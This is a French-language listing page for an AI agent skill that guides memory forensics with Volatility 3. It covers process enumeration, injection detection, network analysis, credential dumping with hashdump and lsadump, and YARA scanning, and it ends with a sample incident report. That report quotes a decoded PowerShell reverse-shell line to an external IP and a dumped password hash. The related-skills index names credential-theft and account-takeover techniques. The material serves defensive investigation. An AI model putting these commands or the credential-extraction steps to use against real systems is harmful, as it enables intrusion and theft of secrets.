Communitygithub.com

analyse-memoire-volatility

Analyse des dumps de mémoire vive RAM de systèmes compromis à l'aide du framework Volatility pour identifier les processus malveillants.

Qu'est-ce que analyse-memoire-volatility ?

Ce skill permet aux agents IA d'analyser des dumps de mémoire RAM collectés sur des systèmes compromis, en utilisant Volatility 3. Il guide pas à pas dans l'identification des processus malveillants, la détection d'injection de code (comme le process hollowing), l'extraction de connexions réseau, de mots de passe et d'artefacts cachés par des rootkits. Il intègre également le scan avec des règles YARA pour la détection de familles de malwares connues. Utile pour les tests d'intrusion, les réponses aux incidents et les investigations forensiques, ce skill supporte Windows, Linux (via LiME) et macOS, et recommande des outils complémentaires comme WinPmem, MemProcFS ou Rekall. Le workflow couvre l'identification du profil OS, l'énumération des processus, la détection d'injection, l'analyse réseau, l'extraction d'artefacts et la génération de rapports chronologiques.

Compatible avec~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/analyzing-memory-dumps-with-volatility

Demander à votre IA préférée

Ouvre une nouvelle conversation avec cette compétence d'agent déjà préchargée.

Documentation

Analyse des dumps de mémoire avec Volatility

Quand utiliser

  • La RAM d'un système compromis a été capturée et nécessite une analyse forensique pour rechercher des artefacts de malware
  • Détection de malwares sans fichier (fileless) qui n'existent qu'en mémoire sans artefacts persistants sur le disque
  • Extraction de clés de chiffrement, mots de passe ou configurations déchiffrées à partir de la mémoire des processus
  • Identification d'injection de processus, d'injection de DLL ou de process hollowing dans un système compromis
  • Analyse d'activité de rootkit qui se cache des outils forensiques standards basés sur le disque

Ne pas utiliser pour l'analyse d'images disque ; utiliser Autopsy, FTK ou Sleuth Kit pour la forensique disque.

Prérequis

  • Volatility 3 installé (pip install volatility3) avec les tables de symboles pour le système d'exploitation cible
  • Fichier de dump mémoire acquis sur le système cible (via WinPmem, LiME ou DumpIt)
  • Connaissance de la version du système d'exploitation source pour la sélection correcte du profil/symbole
  • Espace disque suffisant (les dumps mémoire peuvent faire 4 à 64 Go)
  • Règles YARA pour scanner la mémoire à la recherche de signatures de malwares connus
  • Utilitaire Strings pour extraire les chaînes de caractères lisibles des régions mémoire

Workflow

Étape 1 : Identifier le profil du dump mémoire

Déterminez le système d'exploitation et sa version à partir du dump mémoire :

# Volatility 3 : Détection automatique du système d'exploitation
vol3 -f memory.dmp windows.info

# Lister les plugins disponibles
vol3 -f memory.dmp --help

# Si des symboles sont nécessaires, les télécharger depuis :
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# Pour Volatility 2 (legacy) :
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan

Étape 2 : Énumérer les processus en cours

Listez tous les processus et identifiez les entrées suspectes :

# Lister tous les processus
vol3 -f memory.dmp windows.pslist

# Arborescence des processus (relations parent-enfant)
vol3 -f memory.dmp windows.pstree

# Rechercher les processus cachés/délignés (détection de rootkit)
vol3 -f memory.dmp windows.psscan

# Comparer pslist et psscan pour trouver les processus cachés
# Les processus dans psscan mais pas dans pslist sont potentiellement cachés par des rootkits

# Vérifier le process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Ensuite vérifier que l'EXE extrait correspond au binaire attendu sur le disque
Indicateurs de processus suspects :
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe non lancé par services.exe (mauvais parent)
- csrss.exe/lsass.exe avec un processus parent inhabituel
- Plusieurs instances de lsass.exe (il ne devrait y en avoir qu'une)
- Processus avec des noms mal orthographiés (scvhost.exe, lssas.exe)
- cmd.exe ou powershell.exe lancé par WINWORD.EXE ou un navigateur
- Processus s'exécutant depuis des chemins inhabituels (%TEMP%, %APPDATA%)
- Processus sans parent (orphelins – parent terminé)

Étape 3 : Détecter une injection de code malveillant

Recherchez le code injecté et le process hollowing :

# Détecter le code injecté dans les processus (malfind)
vol3 -f memory.dmp windows.malfind

# Malfind recherche :
# - Les régions mémoire avec la protection PAGE_EXECUTE_READWRITE
# - Les régions mémoire contenant des en-têtes PE (signature MZ/PE)
# - Les anomalies VAD (Virtual Address Descriptor)

# Extraire les régions mémoire injectées pour analyse
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# Lister les DLL chargées par processus
vol3 -f memory.dmp windows.dlllist --pid 2184

# Détecter les processus hollowés en comparant l'image mappée au disque
vol3 -f memory.dmp windows.hollowfind

# Rechercher les pilotes chargés (pilotes rootkit potentiels)
vol3 -f memory.dmp windows.driverscan

# Lister les modules du noyau
vol3 -f memory.dmp windows.modules

Étape 4 : Analyser les connexions réseau

Extrayez les connexions réseau actives et fermées :

# Lister toutes les connexions réseau (actives et en écoute)
vol3 -f memory.dmp windows.netscan

# Colonnes de sortie : Offset, Protocole, AdresseLocale, PortLocal, AdresseDistant, PortDistant, État, PID, Propriétaire

# Filtrer pour les connexions établies vers des IP externes
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# Pour les anciens Windows (XP/2003) :
vol3 -f memory.dmp windows.netstat

# Recouper les PID avec la liste des processus
# Suspect : svchost.exe connecté à une IP externe sur un port non standard
# Suspect : notepad.exe ou calc.exe avec des connexions réseau

Étape 5 : Extraire les artefacts et les identifiants

Récupérez les données sensibles de la mémoire :

# Extraire la mémoire d'un processus pour un PID spécifique
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# Extraire l'historique des lignes de commande
vol3 -f memory.dmp windows.cmdline

# Extraire les variables d'environnement
vol3 -f memory.dmp windows.envars --pid 2184

# Analyse du registre (extraire les clés Run pour la persistance)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# Extraire les identifiants hachés/mis en cache
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# Extraire le contenu du presse-papiers
vol3 -f memory.dmp windows.clipboard

# Extraction de fichiers depuis la mémoire
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560

Étape 6 : Scanner la mémoire avec des règles YARA

Appliquez des signatures YARA pour détecter des malwares connus en mémoire :

# Scanner l'intégralité du dump mémoire avec des règles YARA
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# Scanner la mémoire d'un processus spécifique
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# Scan YARA intégré pour des motifs courants
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# Rechercher du matériel de clé de chiffrement
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"

Étape 7 : Génération de la chronologie et du rapport

Créez une chronologie d'analyse et compilez les résultats :

# Générer une chronologie complète
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# La chronologie inclut :
# - Heures de création/terminaison des processus
# - Horodatages des connexions réseau
# - Heures de modification du registre
# - Heures d'accès aux fichiers

# Exporter la liste des processus pour le rapport
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# Exporter les connexions réseau
vol3 -f memory.dmp windows.netscan --output csv > network.csv

Concepts clés

TermeDéfinition
Forensique mémoireAnalyse du contenu de la mémoire volatile (RAM) pour identifier les processus en cours, les connexions réseau et les artefacts en mémoire qui peuvent ne pas exister sur le disque
Process HollowingTechnique de malware consistant à créer un processus légitime en état suspendu, remplacer sa mémoire par du code malveillant, puis reprendre l'exécution
MalfindPlugin Volatility détectant le code injecté en identifiant les régions mémoire avec des permissions exécutables et des en-têtes PE dans des VAD non-image
VAD (Virtual Address Descriptor)Structure du noyau Windows qui suit les régions mémoire allouées à un processus ; les anomalies dans les VAD indiquent une injection ou un hollowing
EPROCESSStructure du noyau Windows représentant un processus ; les rootkits délient les entrées EPROCESS pour cacher des processus aux outils standards
Pool Tag ScanningTechnique de forensique mémoire qui recherche les tags de pool d'objets du noyau pour trouver des objets (processus, fichiers, connexions) même lorsqu'ils sont déliés
Malware sans fichier (Fileless)Malware qui opère entièrement en mémoire sans créer de fichiers sur le disque ; uniquement détectable par forensique mémoire

Outils et systèmes

  • Volatility 3: Framework open-source de forensique mémoire prenant en charge l'analyse mémoire Windows, Linux et macOS avec une architecture de plugins
  • WinPmem: Outil d'acquisition mémoire pour les systèmes Windows qui crée des dumps mémoire bruts pour une analyse hors ligne
  • LiME (Linux Memory Extractor) : Module noyau chargeable pour capturer les dumps mémoire des systèmes Linux
  • Rekall : Framework alternatif de forensique mémoire avec quelques capacités d'analyse uniques (discontinué mais toujours utile)
  • MemProcFS : Système de fichiers de processus mémoire permettant de monter des dumps mémoire comme des systèmes de fichiers pour une analyse intuitive

Scénarios courants

Scénario : Détection d'un malware sans fichier après une alerte EDR

Contexte : L'EDR a détecté une activité PowerShell suspecte mais l'acteur malveillant a nettoyé les artefacts disque. Un dump mémoire a été capturé avant le redémarrage du système. L'analyse doit identifier le malware, son mécanisme de persistance et tout mouvement latéral.

Approche :

  1. Exécutez windows.pstree pour identifier la chaîne de processus (quel processus a lancé PowerShell)
  2. Exécutez windows.malfind pour détecter du code injecté dans les processus en cours
  3. Extrayez la mémoire du processus suspect et récupérez les chaînes pour les URL C2
  4. Exécutez windows.netscan pour identifier les connexions réseau depuis les processus compromis
  5. Exécutez windows.cmdline pour voir quelles commandes PowerShell a exécutées
  6. Scannez avec des règles YARA pour les familles de malwares connues dans la mémoire du processus extrait
  7. Extrayez les identifiants avec hashdump et lsadump pour évaluer le risque de mouvement latéral

Pièges à éviter :

  • Utiliser les mauvaises tables de symboles pour la version du système d'exploitation (provoque des échecs de plugin ou des résultats incorrects)
  • Ne pas comparer les sorties de pslist et psscan (processus cachés par rootkit manqués)
  • Ignorer les processus légitimes qui ont été injectés (se concentrer sur les résultats de malfind, pas seulement les noms de processus)
  • Ne pas extraire la mémoire complète du processus avant de conclure l'analyse (les chaînes extraites du dump processus peuvent révéler des IOCs supplémentaires)

Format de sortie

RAPPORT D'ANALYSE FORENSIQUE MÉMOIRE
=======================================
Fichier de dump :  memory.dmp
Taille du dump :   16 Go
Version OS :       Windows 10 21H2 (Build 19044)
Outil de capture : WinPmem 4.0
Heure de capture : 2025-09-15 14:35:00 UTC

PROCESSUS SUSPECTS
PID   PPID  Nom               Chemin                                     Anomalie
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe  Mauvais chemin
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe       Enfant du faux svchost
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe              Lancé par PowerShell

INJECTION DE CODE DÉTECTÉE (malfind)
PID 852 (explorer.exe) :
  Adresse : 0x00400000  Taille : 98304  Protection : PAGE_EXECUTE_READWRITE
  En-tête : MZ (PE intégré détecté)
  SHA-256 du dump : abc123def456...

CONNEXIONS RÉSEAU
PID   Processus       Local              Distant              État
2184  svchost.exe     10.1.5.42:49152    185.220.101.42:443   ÉTABLIE
4012  powershell.exe  10.1.5.42:49200    91.215.85.17:8080    ÉTABLIE

IDENTIFIANTS EXTRAITS
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

HISTORIQUE DES LIGNES DE COMMANDE
PID 4012 : powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  Décodé : $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

CORRESPONDANCES YARA
PID 2184 : règle CobaltStrike_Beacon { correspondance à 0x00401200 }

CHRONOLOGIE
14:10:00  svchost.exe (PID 2184) créé depuis C:\Users\Admin\AppData\Temp\
14:10:05  Connexion réseau à 185.220.101.42:443 établie
14:12:30  powershell.exe (PID 4012) lancé par svchost.exe
14:15:00  Injection de code dans explorer.exe (PID 852) détectée
14:20:00  Extraction d'identifiants du processus LSASS

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Skills associés